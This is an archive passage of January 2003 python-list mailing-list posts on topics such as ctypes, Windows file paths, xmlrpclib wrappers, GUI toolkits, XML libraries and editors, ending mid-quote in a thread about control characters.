From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Mon, 06 Jan 2003 14:49:02 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net>
 <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com>
 <slrnb1go12.kv8.grante@localhost.localdomain>
 <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>
 <mailman.1041828311.29580.python-list@python.org>
 <hmiS9.107$4h.14478394@mantis.golden.net>
Message-ID: <u2dG+kKkXgqD092yn@gnosis.cx>         

"Etienne Charland" <mystery at golden.net> wrote previously:
|Some work is done to make .NET cross-platform: MONO
|www.go-mono.com

I do hope everyone knows that it is not a question of IF, but WHEN,
Microsoft will decide to sue MONO out of existence.

The whole thing smells of usual MS dirty tricks... they have released
just enough of API details to allow Ximian to waste time on implementing
MONO.  But MS has kept many parts of the API as trade-secrets, and has
wrapped much of the documented API in patents.

MS's goal here is to maintain an official face that ".NET" is
cross-platform and open.  But as soon as MONO has any success at all, MS
*will* pour millions of dollars into lawyers to claim patent violations
in MONO (and maybe trademark, copyright, trade-secret) issues.  Those
lawyers *will* get restraining orders against the distribution of MONO,
effectively killing the project.  Of course semi-underground copies of
MONO will still exist, but not any effective development project; and if
Ximian isn't outright bankrupted, they might eventually win in court,
many years after the APIs have gone somewhere else altogether.

Yours, Lulu (a soothsayer)...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From theller at python.net  Fri Jan 31 03:37:27 2003
From: theller at python.net (Thomas Heller)
Date: 31 Jan 2003 09:37:27 +0100
Subject: Accessing Win32 class names
References: <mailman.1043974797.14820.python-list@python.org>
Message-ID: <n0lhbtq0.fsf@python.net>

Tom Harris <TomH at optiscan.com> writes:

> Greetings
> 
> Anyone know how to get the Windows class name knowing the handle in Python?
> For some reason win32gui does not appear to wrap the API call GetClassName()

It's simple with ctypes:

  Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
  Type "help", "copyright", "credits" or "license" for more information.
  >>> from ctypes import windll, c_string
  >>> user32 = windll.user32
  >>> hwnd = user32.GetDesktopWindow()
  >>> buf = c_string("\000" * 32)
  >>> user32.GetClassName(hwnd, buf, len(buf))
  Traceback (most recent call last):
    File "<stdin>", line 1, in ?
    ....
  ValueError: function 'GetClassName' not found
  >>> user32.GetClassNameA(hwnd, buf, len(buf))
  6
  >>> print buf.value
  #32769

See http://starship.python.net/crew/theller/ctypes.html

Thomas



From max at alcyone.com  Wed Jan  8 05:49:02 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 08 Jan 2003 02:49:02 -0800
Subject: php vs python
References: <mailman.1041729428.4428.python-list@python.org> <9d791d77.0301060309.67c7d5f8@posting.google.com> <4lvi1v43744lo82btdhkk928vf8db3i40n@4ax.com>
Message-ID: <3E1C021E.19C654CF@alcyone.com>

Yar3k wrote:

> On 6 Jan 2003 03:09:42 -0800, u9300103 at mail.lssh.tp.edu.tw (Tiberius
> Teng) wrote:
> 
> > Be sure to check out Spyce (http://spyce.sourceforge.net/) if you
> > want
> > to compare Python with PHP. :)
> 
> Cheetah templates are even better. Check this
> http://www.cheetahtemplate.org/Py10.html

Since other templating systems are getting mentioned, I might as well
throw mine into the ring, EmPy:

	http://www.alcyone.com/pyos/empy/

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The opinion of the strongest is always the best.
\__/ Jean de la Fontaine
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From eppstein at ics.uci.edu  Wed Jan 22 00:22:10 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Tue, 21 Jan 2003 21:22:10 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net>
Message-ID: <eppstein-08A6D5.21221021012003@news.service.uci.edu>

In article <b0l57d$12j$1 at wheel2.two14.net>,
 Martin Maney <maney at pobox.com> wrote:

> Peter Abel <p-abel at t-online.de> wrote:
> > Silly me!!!
> > The correct code is:
> >>>> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
> >>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
> > (1, 3, 5)
> 
> Why not (None,None,None) as the initial value?

What I wonder is, why supply the final argument to reduce at all?
Without the argument, it will work with non-numeric tuple values.
With the argument, the values have to be comparable to floats.

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From kwalker at earth1.net  Sun Jan 19 06:02:48 2003
From: kwalker at earth1.net (Bill Walker)
Date: Sun, 19 Jan 2003 06:02:48 -0500
Subject: Dos calls in Python
References: <3e29a7ba_3@corp.newsgroups.com> <uvg0mkomj.fsf@online.no>
Message-ID: <3e2a8519_3@corp.newsgroups.com>

That's a good tip, but the notebook that I am using (ZEOS) runs dos only.


"Syver Enstad" <syver-en+usenet at online.no> wrote in message
news:uvg0mkomj.fsf at online.no...
> "Bill Walker" <kwalker at earth1.net> writes:
>
> > Anyway to call dos interrupts from python? I would like to change to
> > graphics screen mode and call the pixel plot routines in the BIOS to
> > plot
> >
> > some graphs..
>
> If you are running under windows, using Pygame would be a way to
> achieve what you want. Pixelplotting and using fullscreen
> mode. (Pygame works by using directX under the hood).
>
> http://www.pygame.org
>
>
> --
>
> Vennlig hilsen
>
> Syver Enstad




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From p-abel at t-online.de  Thu Jan 23 18:39:49 2003
From: p-abel at t-online.de (Peter Abel)
Date: 23 Jan 2003 15:39:49 -0800
Subject: Accessing a file in a network drive (python under win32)
References: <b714b8de.0301220949.214886e@posting.google.com>
Message-ID: <13a533e8.0301231539.24977a98@posting.google.com>

akineko at pacbell.net (Aki Niimura) wrote in message news:<b714b8de.0301220949.214886e at posting.google.com>...
> Hi everyone,
> 
> I'm porting a program written in Unix to Windows environment.
> 
> When I tried to open a file in a network drive (which is from SAMBA server) 
> using tkFileDialog.askopenfile(), I got the following error message:
> IOError: [Errno 2] No such file or directory: '//Evelyn/ms_share/python_win32/jt
> ag/t.py'
> 
It depends on your current workdevice
'//Evelyn/ms_share/python_win32/jtag/t.py'
is looking for the above directory on your current device
> However ...
> (1) It won't complain if I access a file in a local drive (ex) 'C:/config.sys'

Here you're searching config.sys explicitly on device C:
e.g saying os.chdir('d:')
will show 
>>> os.getcwd()
'D:\\'
But now
>>> os.chdir('\\windows')
will fail
Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
OSError: [Errno 2] No such file or directory: '\\windows'
because windows is on C:
So 
>>> os.chdir('c:\\windows')
helps and shows
>>> os.getcwd()
'c:\\windows'

> (2) I can open the file from IDLE Python Shell
> >>> fd = open('//Evelyn/ms_share/python_win32/jtag/t.py', 'r')
> 
> Does anybody have an idea what is going on here?
> I'm not export on Windows. But why can't Windows be more like Unix?

I think before your open( ... ) command you changed your device.

> 
> Any info would be highly appreciated.
> 
> Aki-

BTW
In Python 
  open( 'C:\\windows\\system32') is equivalent to
  open(r'C:\windows\system32') is equivalent to
  open( 'C:/windows/system32') 
The '\' is an escape-character to indicate
special characters as Tab: '\t', newline: '\n' etc. or
!!!!! Backslash: '\\' !!!!!
To avoid '\\' you can use so-called raw-strings which
start with an r' ... ' and you can write 
Backslash: r'\'

Hope, I could help you
Peter



From rutherfo at mail.ndcom.net  Thu Jan  2 21:32:54 2003
From: rutherfo at mail.ndcom.net (GWR)
Date: Thu, 2 Jan 2003 20:32:54 -0600
Subject: rpm -ta Python-2.2.1.tgz install error
Message-ID: <024601c2b2d1$2b708aa0$848f22d0@indyana>

After a very minimum (choosing only Networking, FTP Server, and Software
Dev) text based install of Redhat 7.3 followed by the following:

rpm -e gettext-0.11.1-2
rpm -e up2date-2.7.86-7.x.3
rpm -e python-devel-1.5.2-38
rpm -e rhn_register-2.7.21-7.x.3
rpm -e rpm-python-4.0.4-7x.18
rpm -e python-xmlrpc-1.5.1-7.x.3
rpm -e python-clap-1.0.0-3
rpm -e python-popt-0.8.8-7.x.2
rpm -e python

cd /usr/local/src
tar zxvfp gettext-0.11.2.tar.gz
tar zxvfp mod_python-2.7.8.tgz
cd /usr/local/src/gettext-0.11.2
./configure
make
make install

rpm -ta Python-2.2.1.tgz

I then get the following error during the rpm -ta
Python-2.2.1.tgz...........

Finding  Requires: (using /usr/lib/rpm/find-requires)...
error: line 329: Dependency tokens must begin with alpha-numeric, '_' or
'/':
error: Failed to find Requires:

seems to install ok, but should I be concerned?

Thanks,
Glen






From peter at engcorp.com  Tue Jan 21 20:10:55 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 20:10:55 -0500
Subject: Easiest way to include C libraries
References: <4378fa6f.0301211616.3b353722@posting.google.com>
Message-ID: <3E2DEF9F.A8596B23@engcorp.com>

Marc wrote:
> 
> Basically I have to include a bunch of header files (.h for C) or .dll
> files (for Tcl) and be able to access them from Python code. These
> files are quite large, so any manual intervention will be time
> consuming. The new release of Python mentioned some new ways of
> extending it, but I'm not sure how many people have used these new
> functions or what problems they might have.


Look into "calldll" or the newer potential replacement ... uh.. dang!
What was the name of that thing?  Why didn't I bookmark it. :-(

(No doubt some kind soul will post the name and save us the trouble
of searching futilely for it... so far Google hasn't helped me.)

-Peter



From alf at fayauffre.org  Fri Jan 10 10:32:20 2003
From: alf at fayauffre.org (Alexandre Fayolle)
Date: Fri, 10 Jan 2003 15:32:20 +0000 (UTC)
Subject: XML and Python
References: <C6XS9.23024$eB1.1059867@twister.southeast.rr.com>
Message-ID: <slrnb1tq0f.ig3.alf@largo.fayauffre.org>

Paul Smith a ?crit :
> 	Can anyone point me to a resource which compares and contrasts, and 
> describes the interalationships between the many python XML packages out 
> there? I've briefly looked through xmllib, 4Suite, libxml2, and PyXML, 
> and found there's a lot of overlap and inbreeding. Anyone out there with 
> experience using these various packages care to run down the 
> virues/faults of each and balance ease-of-use vs. features?

You may want to give a glance at the tutorial I gave last year at
Europython. The slides are available on http://www.europython.org/

-- 
Alexandre Fayolle
LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org
D?veloppement logiciel avanc? - Intelligence Artificielle - Formations



From lac at strakt.com  Tue Jan  7 22:57:00 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 08 Jan 2003 04:57:00 +0100
Subject: Laura's List - was Re: new years resolutions 
In-Reply-To: Message from mis6@pitt.edu (Michele Simionato) 
   of "07 Jan 2003 04:45:11 PST." <2259b0e2.0301070445.698adc9e@posting.google.com> 
References: <mailman.1041872080.15063.python-list@python.org> <2259b0e2.0301070445.698adc9e@posting.google.com> 
Message-ID: <200301080357.h083v0jL005109@ratthing-b246.strakt.com>

> Ben Leslie <benno at sesgroup.net> wrote in message news:<mailman.1041872080.150
> 63.python-list at python.org>...
> > On Sun, 05 Jan 2003, Laura Creighton wrote:
> > > 
> > > 1. preoccupation with cleverness as opposed to wisdom
> > 
> > Care to expand on this point? I don't quite get what you mean.
> > 
> 
> My interpretation: you are wise when you are clever enough that you 
> don't need to show it. IOW, if you can, you choose the simple way over
> the difficult way. I am sure people on c.l.py would say that
> Perl is clever, whereas Python is wise.
> 
> Hoping having correcly channeled Laura,
> 

Alas .... I do not believe that it is possible to get to wisdom by
applying more cleverness.  Being _secure_ enough to not need to show it
may be a pre-requisite to wisdom, but I am of two minds about that. More
experimental research is indicated ...

The simple way is often very difficult, so s/simple/fancy/

Indeed that is part of the problem.  There is _always_ hard work which can
be avoided by doing 'something clever'.  Wisdom consists, in part, in
knowing when you _should_ avoid this work, and when you _should do
it anyway_.

I don't think that languages are wise, but they certainly can promote
wisdom, or cleverness.  One of the reasons Perl scripts are hard to
maintain is that it is very easy to pour cleverness on  cleverness.
You get preoccupied with 'what minimal clever hack can I do today to
modify this program to make it fit my new requirements'.  Days, weeks,
months after you should have tossed some code and written it with the
new specs, you think that with one more tweak you can get it to work
and 'save you rewriting it'.  But the rewriting would have been faster
and clearer.  You waste your life trying to be clever.  And there is
something about Perl that encourages such unprofitable time-wasting.
I still don't understand why this is so, but I have watched it in myself
and others again, and again, and again.

Laura




From maney at pobox.com  Sat Jan 11 21:18:44 2003
From: maney at pobox.com (maney at pobox.com)
Date: Sun, 12 Jan 2003 02:18:44 +0000 (UTC)
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org> <v1titmb0454v58@corp.supernews.com> <oe23f-ta3.ln1@news.lairds.org> <v1tq06bo2mjg14@corp.supernews.com> <qol3f-p27.ln1@news.lairds.org> <avni6r$im1$1@slb2.atl.mindspring.net> <dpe4f-52b.ln1@news.lairds.org> <3E1FA635.8051A960@alcyone.com> <8vq5f-8k3.ln1@news.lairds.org>
Message-ID: <avqja4$mis$1@wheel2.two14.net>

Kyler Laird <Kyler at news.lairds.org> wrote:
> Erik Max Francis <max at alcyone.com> writes:
>>Click on the right arrow multiple times.  Or, click up, then note all
>>the related subjects, click on "Match Objects."
> 
> O.k., now *why*, as a naive beginning programmer, would I
> do that when a simple answer appears to be staring at me?

Well... if you're really a beginning programmer, as opposed to a
beginner at programming Python, probably because you haven't the
experience to expect that important semantics might not be explained in
the section on the syntax.  I really had to work on the previous
sentence, BTW, for I've seen that sort of separation and, yes, cursed
it for making me dig for it, for many years... but it seems to be the
price we pay for using packages that are neither so small nor so
inflexible as to be easily explained in a paragraph or two.  Most of
the abstractions we deal with only look simple from a distance, and
programming is often an in-your-face range activity - close enough to
see both details and devils.  <wink>




From stevenn at outerthought.org  Wed Jan 22 07:54:21 2003
From: stevenn at outerthought.org (Steven Noels)
Date: Wed, 22 Jan 2003 13:54:21 +0100
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <004b01c2c16c$ef26c780$21795418@dell1700>
References: <004b01c2c16c$ef26c780$21795418@dell1700>
Message-ID: <3E2E947D.7050600@outerthought.org>

Brian Quinlan wrote:

>>'Somehow', I want this Page object to forward the method invocation to
>>my Server object, but I'm stuck on the _how_. Should I let my Server
>>class inherit from the xmlrpclib.Server class? My Page class too?
> 
> 
> You could make your Server class an xmlrpclib.Server subclass but I
> would just get rid of your Server class since it doesn't really do
> anything.

That's what I did, thanks. What do you mean with 'getting rid of my 
Server class...? I definitely need the one in xmlrpclib.py. I'm trying 
to wrap things in order to make it feel less XMLRPC'ish:

import xmlrpclib, time, strptime
from UrllibTransport import UrllibTransport

class Page(xmlrpclib.Server):

     def __init__(self, name, server_url):
         self.name = name
         self.server_url = server_url
         self.server = xmlrpclib.Server(self.server_url, 
transport=UrllibTransport())

     def retrievePageInfo(self):
         pageInfo = self.server.wiki.getPageInfo(self.name)
         self.version = pageInfo['version']
         self.author = pageInfo['author']
         self.lastModified = UTC2time(pageInfo['lastModified'].value) # 
make a (time) tuple out of it
     def getName(self):
         return self.name

     def getVersion(self):
         return self.version

     def getAuthor(self):
         return self.author

     def getlastModified(self):
         return self.lastModified

     def getPageContent(self):
         pageContent = self.server.wiki.getPage(self.name)
         return pageContent.data

     def getPageContentVersion(self, version):
         pageContent = self.server.wiki.getPageVersion(self.name, version)
         return pageContent.data

class RecentChanges(xmlrpclib.Server):

     def __init__(self, server_url):
         self.server_url = server_url
         self.server = xmlrpclib.Server(self.server_url, 
transport=UrllibTransport())

     def getRecentChanges(self, time):
         rc = 
self.server.wiki.getRecentChanges(xmlrpclib.DateTime(time2UTC(time)))
         ...

Dunnow whether this is good design, so comments are welcome!

</Steven>
-- 
Steven Noels                            http://outerthought.org/
Outerthought - Open Source, Java & XML Competence Support Center
Read my weblog at            http://blogs.cocoondev.org/stevenn/
stevenn at outerthought.org                stevenn at apache.org





From peter at engcorp.com  Wed Jan  8 18:09:39 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 18:09:39 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org>
Message-ID: <3E1CAFB3.73CEA6A7@engcorp.com>

Chad Netzer wrote:
> 
> On Wednesday 08 January 2003 14:07, Tupoi wrote:
> 
> > ok to be more specific what are the best undergrad schools in the US for a
> > Computer Science major in general because most undergrads like me probbably
> > have not decided whether they will be computer programmers, network guys,
> > or whatever else.
> 
> I see.  Well, in that case, the answer is Purdue.  Go to Purdue, that is the
> best undergrad school in the US for CS.

And the University of Waterloo is the best undergrad school for CS
in North America.  Probably for the rest of the world, too. :-)

Not sure about extra-solar universities...

-Peter



From list-python at ccraig.org  Thu Jan 16 12:29:28 2003
From: list-python at ccraig.org (Christopher A. Craig)
Date: 16 Jan 2003 12:29:28 -0500
Subject: Binary search
In-Reply-To: <3E26BA12.A8E9260B@engcorp.com>
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>
	<b03sui$shn$1@news.netpower.no>
	<m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de>
	<b050t9$vtp$0@216.39.172.122> <3E260BCE.5060201@v.loewis.de>
	<3E2626D2.10094FC1@engcorp.com> <b06bkk$amv$0@216.39.172.122>
	<3E26BA12.A8E9260B@engcorp.com>
Message-ID: <t1wfzrtuhon.fsf@kermit.wreck.org>

Peter Hansen <peter at engcorp.com> writes:

> Please don't try to change history.  You're conveniently leaving out
> part of the query.  An accurate quotation is this:

The message you quoted
(<4OcV9.12866$ym5.2006 at afrodite.telenet-ops.be>) was posted at 
Wed, 15 Jan 2003 13:50:08 MET according to Telenet

The message Bengt quoted
(<vIcV9.12859$ym5.1964 at afrodite.telenet-ops.be>) was posted at
Wed, 15 Jan 2003 13:44:11 MET according to Telenet

There was only 6 minutes between them, but he is not trying to change
history.


-- 
Christopher A. Craig <list-python at ccraig.org>
"So we who are many, are one body in Christ, and individually members
one of another."  Romans 12:5 (NASB)




From fgeiger at datec.at  Mon Jan  6 03:28:43 2003
From: fgeiger at datec.at (F. GEIGER)
Date: Mon, 6 Jan 2003 09:28:43 +0100
Subject: [wxPython] Right alignment in wxTextCtrl?
References: <3e17fbf1@news.swissonline.ch> <mailman.1041768428.18166.python-list@python.org>
Message-ID: <3e193e54@news.swissonline.ch>

> In the demo for wxPython 2.3.3.1 look at wxRightTextCtrl under "More
> Windows/Controls".

Perfect! I'm working with 2.3.2, but the control is already there (it's not
in the demo, though).

Many thanx and kind regards
Franz

"Donnal Walter" <donnalcwalter at yahoo.com> schrieb im Newsbeitrag
news:mailman.1041768428.18166.python-list at python.org...
>
> "F. GEIGER" <fgeiger at datec.at> wrote in message
> news:3e17fbf1 at news.swissonline.ch...
> > I'd like to create a NumberTextbox class, which differs from the
standard
> > wxTextCtrl in that it right aligns its text (which are numbers, of
> course).
> > As I cannot find the right property for achieving this (the Style
methods
> > seem to change the font and its appearance only), I'm afraid I have to
> > invent something by myself. But before I go into interstion point calcs
> > and/or string padding or whatever, I'd like to ask, if there's anything
> I've
> > missed.
>
> from wxPython.lib.rightalign import wxRightTextCtrl
>
> In the demo for wxPython 2.3.3.1 look at wxRightTextCtrl under "More
> Windows/Controls".
>
> IIRC, some native controls (MSW, for example) also support
> 'style=wxTE_RIGHT'. You might want to give this a try this first.
>
> Donnal Walter
> Arkansas Children's Hospital
>
>
>
>
>





From gumuz at looze.net  Wed Jan 22 05:23:12 2003
From: gumuz at looze.net (Gumuz)
Date: Wed, 22 Jan 2003 11:23:12 +0100
Subject: Lobbying Assistance
Message-ID: <3e2e7172$0$803$4d4ebb8e@news.nl.uu.net>

I found this( http://www.eiffel.com/developers/lobby.html ) on the Eiffel
website.

I know we already have a python business site with succes stories and all
that, but these seem to take it very seriously having different
'lobby-approaches' to different 'company layers'.


it might be interesting to some python advocates.


Guyon





From aka at mvps.org  Thu Jan 16 02:25:28 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Thu, 16 Jan 2003 02:25:28 -0500
Subject: Python and Word
References: <2eb85cfb.0301150147.134c34a3@posting.google.com>
Message-ID: <b05mp5$m2crb$1@ID-136433.news.dfncis.de>

FYI, Anthony, I know your problem was actually syntax, but there is one other
thing you should know... that's actually inherited from the Word object model.
Anytime you dig underneath an object declared with

    win32com.client.Dispatch('x')

you are actually dealing with things internal to the object.

The good side of that is that the object model documentation from the OEM
contains details on it (in the case of Microsoft Office apps, the VBA help files
for the objects may have detailed info).  The bad side is that the docs are not
always complete or correct, which may leave you relying on information
autogenerated by Python.

-- 

"Anthony Evershed" <anthony.evershed at npl.co.uk> wrote in message
news:2eb85cfb.0301150147.134c34a3 at posting.google.com...
> I'm trying to get Python 2.2.2 with Win32all extensions to use Word
> 2000's alignment tool when pushing data in. I have found the win32com
> command:
>
> wd.Selection.Paragraphs.Alignment(?)
>
> (where wd = win32com.client.Dispatch('word.application')
>
> But am stuck as to the argument to use for left align and centering.
> PythonWin suggested an integer, but tests in interactive mode produced
> only errors as below:
>
> >>> wd.Selection.Paragraphs.Alignment(1)
> Traceback (most recent call last):
>   File "<interactive input>", line 1, in ?
> TypeError: 'int' object is not callable
>
> Can anyone help?
>
> Anthony Evershed





From lac at strakt.com  Fri Jan 31 23:19:22 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 1 Feb 2003 05:19:22 +0100
Subject: PyCon Keynote Speaker
Message-ID: <200302010419.h114JMSY008645@ratthing-b246.strakt.com>

The time is late, and we do not have a scheduled keynote speaker for
Pycon.  Getting anybody at this date will be difficult, but I am
willing to try anyway.

So can you mail me any suggestions along these lines:

a) I hate keynotes, so don't bother.
b) I would like you to invite XXX to give the keynote.
c) I know XXX, think he is a great keynote speaker, and I would like to
   approach him myself.
d) I have another idea.  Can we use the time <this way> instead?

Personally, I would rather have a report from the PyPy sprint than
a keynote.  But I only get 1 vote.  And there is no law saying we
cannot have both.

Thanks very much.

Laura Creighton




From exarkun at intarweb.us  Fri Jan 24 16:43:13 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 16:43:13 -0500
Subject: Looking for CORBA examples, or something better
In-Reply-To: <20030124203238.GA2206@pedos.es>
References: <20030124203238.GA2206@pedos.es>
Message-ID: <20030124214313.GE15790@meson.dyndns.org>

On Fri, Jan 24, 2003 at 09:32:38PM +0100, Grzegorz Adam Hankiewicz wrote:
> Hi.
> 
> After a university brainwash of Java's RMI and Microsoft's COM, I'm
> looking for a python CORBA... interface? I mean, an example/module
> I should use to communicate to other CORBA objects.
> 
> CORBA is usually more code verbose than Java's RMI, because RMI
> knows it's talking to another Java. Is there something similar
> in Python? Something easier to write than CORBA but restricted to
> python. Maybe YAMI?
> 

  I'm not sure what you're asking for, exactly - a Python CORBA package?  Or
a Python package with CORBA-like functionality?

  In the latter case, you might check out twisted.spread.  It's -almost- as
terse as possible, with methods being invoked like...


  obj.callRemote('method', args, ...)

  Twisted lives at http://www.twistedmatrix.com/, and there are spread docs
both in the API docs section as well as the howto section.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
 up 40 days, 1:49, 7 users, load average: 0.60, 0.63, 0.62
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/cfc99755/attachment.sig>

From maxm at mxm.dk  Thu Jan 16 03:04:34 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 16 Jan 2003 09:04:34 +0100
Subject: what's the matter with wxPython(Version 2.4.0), It doesn't work
 crrectly
In-Reply-To: <b61709d5.0301152142.16f32a48@posting.google.com>
References: <b61709d5.0301152142.16f32a48@posting.google.com>
Message-ID: <qGtV9.36477$Hl6.4387085@news010.worldonline.dk>

Baby wrote:
>       def OnButton1Button(self, event):        


A completely wild gues. Could it be that it catches both buttonDown and 
buttonUp ? So that you need to make a specific buttonUp event?

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From knightsofspamalot-factotum at gvdnet.dk  Fri Jan 10 16:44:57 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Fri, 10 Jan 2003 22:44:57 +0100
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com> <3E1F3743.7050903@tc.umn.edu>
Message-ID: <87vg0w3ciu.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Michael" == Michael Urban <urba0083 at tc.umn.edu> writes:
Michael> I'm not a big fan of IDEs. Prefer to just keep a cmd window
Michael> open and test scripts from there.

I tend to agree with you, but I run a Python interpreter as an
inferiour process (subprocess) in Emacs, which is my editor of choice,
and from there I can very quickly evaluate a function, class, the
region (in Windows speak: whatever you have marked) and such, and this
is absolutely invaluable. I haven't noticed that anyone else has
talked about any other editor being able to do this, though with all
the traffic I might easily have missed it. Are there any that can?

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4fPtkACgkQYu1fMmOQldUG5wCfadO8c80nvpl2fgrI6OSxcEBA
1TcAoKs7LPztxoHoM0yYhf+9aSlIekJj
=awxR
-----END PGP SIGNATURE-----



From davecook at nowhere.net  Fri Jan 10 03:11:14 2003
From: davecook at nowhere.net (David M. Cook)
Date: Fri, 10 Jan 2003 08:11:14 GMT
Subject: GUI toolkits
References: <avfsc2$8ar$1@bob.news.rcn.net>
Message-ID: <slrnb1t014.1c8.davecook@localhost.localdomain>

In article <avfsc2$8ar$1 at bob.news.rcn.net>, morden wrote:

> Is there info availbale somewhere on the relative merits of tkinter vs. 
> pyGnome?

As someone has pointed out, pygtk is a more fair comparison with tkinter.
pygtk has a lot more widgets than tkinter (though there are extensions like
Tix, BLT, and PWM for Tk).  In particular, gtk has very powerful text and
tree widgets that use the MVC pattern.  Also, pygtk is faster in my
experience.  However, gtk has very spotty documentation (you *will* waste
some time figuring out how to do some things) and is not as mature (i.e.
more likely to have bugs and major API changes) as Tk or wxpython.

Also, Pygtk is also still a work in progress, though very useable.  The
developers work very quickly, and have been very responsive to my bug
reports.

The clincher for me is glade/libglade, which I wouldn't want to do without.
There is a wxglade project to create a glade clone for wxWindows, but it's
still in its early stages.

You can find more info on pygtk at

http://www.async.com.br/faq/pygtk/index.py?req=all

Dave Cook



From skip at pobox.com  Fri Jan 24 15:29:38 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 14:29:38 -0600
Subject: XML vs Python?
In-Reply-To: <87heby2u06.fsf@theasylum.dyndns.org>
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>
        <cf333042.0301232326.582ac37@posting.google.com>
        <23891c90.0301240929.196ae7bf@posting.google.com>
        <87heby2u06.fsf@theasylum.dyndns.org>
Message-ID: <15921.41522.774630.876657@montanaro.dyndns.org>

    Tim> If you want to see something truly bletcherous, have a gander at
    Tim> those who try to write programs in XML.  <<shudder>> Check out:

    Tim>   http://www.waterlang.org/doc/tutorial_fast_intro.html

Sort of looks like somebody dreamt it up as a joke, but then somewhere along
the way the smiley got lost and somebody else took it seriously.  Kind of
like <blink> taken to an absurb extreme.

Skip




From chergarj at cs.com  Thu Jan  2 22:56:58 2003
From: chergarj at cs.com (Chergarj)
Date: 03 Jan 2003 03:56:58 GMT
Subject: what do after installing Python2 ?
References: <avScnQKzV4pdfomjXTWcqQ@comcast.com>
Message-ID: <20030102225658.14241.00000509@mb-cr.news.cs.com>

>
>> The documentation is not straight clear
>> about how to get started.
>> G C
>
>If you installed it from the CD it should be ready to go.  Try,
>Start->Programs->Python2.x->IDLE (Python GUI).
>
>Write back if that doesn't work.
>
>Justin
>

For that much, the program/application works.  I used the Python (command line)
 instead of IDLE.  Is that enough, or is there still some path manipulating and
configuring that is needed?  Other than reading about how the python code works
and entering examples from any code source, what else must be studied and
understood in order to write and save and later distribute a program?

G C



From amol at kenati.com  Mon Jan  6 06:31:59 2003
From: amol at kenati.com (Amol Sonaikar)
Date: Mon, 6 Jan 2003 17:01:59 +0530
Subject: Removing Control characters
In-Reply-To: <3E145464.2090802@earthlink.net>
References: <mailman.1041496573.26425.python-list@python.org> <3E145464.2090802@earthlink.net>
Message-ID: <200301061126.DAA26313@cyberpopuli.com>

Hi

In your reply below you have used chr(8) to identify ^H. Can I use same 
function chr(8) in if statement
for e.g. Similar like  
if line[i] == chr(8):
	i=i+1
else:
<  something >

Currently I am getting following error. What can be the correct syntax

    if str1[i] == chr(8)
                       ^
SyntaxError: invalid syntax


On Thursday 02 January 2003 08:31 pm, you wrote:
> Amol Sonaikar wrote:
> > I have an output of an command line operation which is stored in file and
> > it contains special characters. The file looks as below:
> >
> > --------------------------------------------------------------
> >
> > --->TestCase Command: add-route dest-ip subnet 22.12.23.44 subnetmask
> > 255.255.255.255 nexthop-ip 192.168.22.98
> > interface ppd0^G
> > iprouting> add-route dest-ip subnet 22.12.23.44 subnetmask
> > 255.255.255.255
